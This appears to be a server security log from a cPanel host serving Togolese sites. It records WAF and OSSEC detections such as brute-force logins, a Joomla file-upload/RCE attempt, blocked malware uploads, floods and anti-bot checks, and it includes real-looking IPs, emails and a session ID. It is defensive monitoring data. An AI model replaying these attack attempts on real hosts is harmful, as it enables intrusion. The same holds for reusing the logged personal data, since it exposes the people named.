205.169.39.13 - - [02/Jul/2026:06:53:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856360&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782975233 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.13


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.69.165
country_id: 6252001
description:
[2026-07-02 06:53:56 +0000] info [cpaneld] 23.234.69.165 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 159.203.38.15
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 159.203.38.15: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.166.99
country_id: 2363686
description:
[2026-07-02 06:56:58 +0000] info [webmaild] 102.64.166.99 - some.f@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77209353
abuser: 91.224.92.19
country_id: 2635167
domain: 127.0.0.1
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/cgi-sys/autodiscover.cgi||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.171.46
country_id: 6252001
domain: techinoov.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/techinoov.free.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 91.224.92.19
country_id: 2635167
domain: 127.0.0.1
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:442649||Sizes:18211||Combined size:18211||User:root||WPU:||Filename:BDKR28_joldfb.zip||Scanned:/tmp//20260702-065827-akYME9SJreWkEquRKOyOIwAAAAI-file-SMP4mS||SC:/usr/local/cpanel/cgi-sys/autodiscover.cgi||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 51.68.233.44
country_id: 3017382
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1495||QS:add-to-cart=1495||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.111.228
country_id: 6252001
description:
[2026-07-02 07:08:37 +0000] info [cpaneld] 23.234.111.228 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 51.68.233.44
country_id: 3017382
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2046||QS:add-to-cart=2046||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.142.168.81
country_id: 3202326
description:
[2026-07-02 07:09:10 +0000] info [cpaneld] 93.142.168.81 - cvajhehu "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.53
country_id: 6252001
description:
205.169.39.53 - - [02/Jul/2026:07:09:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7314542&pdata=https%253A%252F%252Fxqr2qh.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782976165 HTTP/2.0" 302 0 xqr2qh.mediatopnews.tg "https://xqr2qh.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.53


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.7.105
country_id: 6252001
domain: mail.case-afrique.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.case-afrique.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 51.68.233.44
country_id: 3017382
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2121||QS:add-to-cart=2121||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.126
country_id: 1880251
description:
43.173.176.126 - - [02/Jul/2026:07:10:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104158&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F03%252F20%252Fjournee-internationale-des-droits-de-la-femme-2024-un-atelier-a-lendroit-de-la-gent-feminine-entrepreneures-du-monde-culturel-a-marque-levenement&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782976246 HTTP/1.1" 404 561 macite.tg "https://macite.tg/2024/03/20/journee-internationale-des-droits-de-la-femme-2024-un-atelier-a-lendroit-de-la-gent-feminine-entrepreneures-du-monde-culturel-a-marque-levenement" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.126


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.167.156
country_id: 2363686
description:
[2026-07-02 07:12:01 +0000] info [cpaneld] 102.64.167.156 NEW uljcqiuy:4IFM2MqP946Y3HE3 address=102.64.167.156,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:uljcqiuy:b23iTcUMvmpc7JmX:create_user_session,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.176.1.109
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2103 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.153.16.22
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1894 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.25.255
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1472 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 51.68.233.44
country_id: 3017382
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2013||QS:add-to-cart=2013||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.170.157.234
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=990 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.181.51
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/la-maison-des-jeunes-un-endroit-ideal-pour-lautonomisation-et-lepanouissement-des-jeunes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.186.76.63
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1939 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.22.150
country_id: 2510769
description:
[2026-07-02 07:12:45 +0000] info [cpaneld] 146.70.22.150 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.181.51
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/la-maison-des-jeunes-un-endroit-ideal-pour-lautonomisation-et-lepanouissement-des-jeunes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 216.40.74.187
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:baileywellish4||Email:bailey_bailey42@jagetu.kosmos.mom||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77142124
name: IM360 WAF: Track WordPress registration flood
abuser: 216.40.74.187
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress registration flood||WPU:||RSV:8.22||T:APACHE||MVN:ARGS:action||MV:register||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.22.150
country_id: 2510769
description:
[2026-07-02 07:13:19 +0000] info [cpaneld] 146.70.22.150 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.22.150
country_id: 2510769
description:
[2026-07-02 07:15:06 +0000] info [whostmgrd] 146.70.22.150 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.239.145.98
country_id: 1522867
description:
2026-07-02 07:17:24 H=([185.239.145.98]) [185.239.145.98]:55071 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.146.55.116
country_id: 6252001
domain: cfpj.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:cfpjusti||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)
abuser: 45.146.55.116
country_id: 6252001
domain: cfpj.tg
description:
IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)||MV:wp-system||MVN:ARGS:log||WPU:wp-system||User:cfpjusti||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.229.112
country_id: 3865483
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/contact HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.87.219.239
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:212.87.219.239||TA:212.87.219.239||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 91.224.92.19
country_id: 2635167
domain: 127.0.0.1
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:355574||Sizes:18211||Combined size:18211||User:root||WPU:||Filename:BDKR28_dzmgbu.zip||Scanned:/tmp//20260702-072448-akYSQE84AcVh3W6gO95kuwAAADk-file-XTqsvd||SC:/usr/local/cpanel/cgi-sys/autodiscover.cgi||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.65.135.182
country_id: 2661886
description:
[2026-07-02 07:27:08 +0000] info [cpaneld] 185.65.135.182 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.214.150.179
country_id: 6252001
description:
[2026-07-02 07:28:38 +0000] info [whostmgrd] 181.214.150.179 - test1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.69.43.84
country_id: 2017370
description:
2026-07-02 07:29:12 dovecot_plain authenticator failed for H=(pn2evgjb91oft53bf5mas6t) [178.69.43.84]:45528: 535 Incorrect authentication data (set_id=deroupartners@confortis.tg)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 91.224.92.19
country_id: 2635167
domain: 127.0.0.1
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:361691||Sizes:18211||Combined size:18211||User:root||WPU:||Filename:BDKR28_qwdhgb.zip||Scanned:/tmp//20260702-073251-akYUI4eZIpN2L3872RbpAwAAAAA-file-NYkOeq||SC:/usr/local/cpanel/cgi-sys/autodiscover.cgi||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.182.59.228
country_id: 1814991
description:
2026-07-02 07:32:12 dovecot_login authenticator failed for H=(kjayca) [123.182.59.228]:63628: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.69.224.30
country_id: 2750405
description:
[2026-07-02 07:33:30 +0000] info [whostmgrd] 103.69.224.30 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.197.171
country_id: 2623032
description:
[2026-07-02 07:33:15 +0000] info [whostmgrd] 146.70.197.171 - c1565738c "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.68.78.215
country_id: 192950
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/special-journee-de-de-don-de-sang HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 101.255.107.33
country_id: 1643084
description:
101.255.107.33 - - [02/Jul/2026:07:33:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10182803&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F03%252F03%252Fdetailorder1009descriptionoshibka-zapisi-dannykh-v-bd-4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782977613 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/03/03/detailorder1009descriptionoshibka-zapisi-dannykh-v-bd-4/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:101.255.107.33


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [02/Jul/2026:07:34:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870021&pdata=http%253A%252F%252Fafriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782977659 HTTP/1.1" 302 0 afriquerevelation.tg "http://afriquerevelation.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-07-02 07:35:00 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.246.195.136
country_id: 102358
description:
[2026-07-02 07:36:56 +0000] info [whostmgrd] 5.246.195.136 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 91.224.92.19
country_id: 2635167
domain: 127.0.0.1
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:463110||Sizes:18211||Combined size:18211||User:root||WPU:||Filename:BDKR28_qdswzm.zip||Scanned:/tmp//20260702-073726-akYVNoeZIpN2L3872RbphgAAAAA-file-sw7TTu||SC:/usr/local/cpanel/cgi-sys/autodiscover.cgi||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.106.193
country_id: 6252001
description:
[2026-07-02 07:38:53 +0000] info [cpaneld] 23.234.106.193 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.111.140
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/journee-mondiale-des-oceans-kokou-edem-tengue-rappelle-aux-acteurs-la-place-cruciale-des-oceans-dans-le-developpement-economique/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.111.140
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/journee-mondiale-des-oceans-kokou-edem-tengue-rappelle-aux-acteurs-la-place-cruciale-des-oceans-dans-le-developpement-economique/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 91.224.92.19
country_id: 2635167
domain: 127.0.0.1
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:187726||Sizes:18211||Combined size:18211||User:root||WPU:||Filename:BDKR28_hssfwe.zip||Scanned:/tmp//20260702-074021-akYV5RHU9Nj5Zp1_PxOtWgAAAAU-file-mAkwlm||SC:/usr/local/cpanel/cgi-sys/autodiscover.cgi||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.68.170.42
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/filiere-coton-lome-au-centre-des-echanges-de-laca/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.68.170.42
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/filiere-coton-lome-au-centre-des-echanges-de-laca/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.179.18
country_id: 3017382
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:148.135.179.18||TA:148.135.179.18||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.106.193
country_id: 6252001
description:
[2026-07-02 07:41:23 +0000] info [cpaneld] 23.234.106.193 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.102.37.65
country_id: 6252001
description:
[2026-07-02 07:46:46 +0000] info [cpaneld] 208.102.37.65 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.170.242.194
country_id: 6252001
description:
[2026-07-02 07:46:50 +0000] info [cpaneld] 76.170.242.194 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.165.28.220
country_id: 6252001
description:
[2026-07-02 07:46:53 +0000] info [cpaneld] 47.165.28.220 - tchambainvesttg "GET /login/?login_only=1&user=tchambainvesttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvesttg (has_cpuser_file failed)


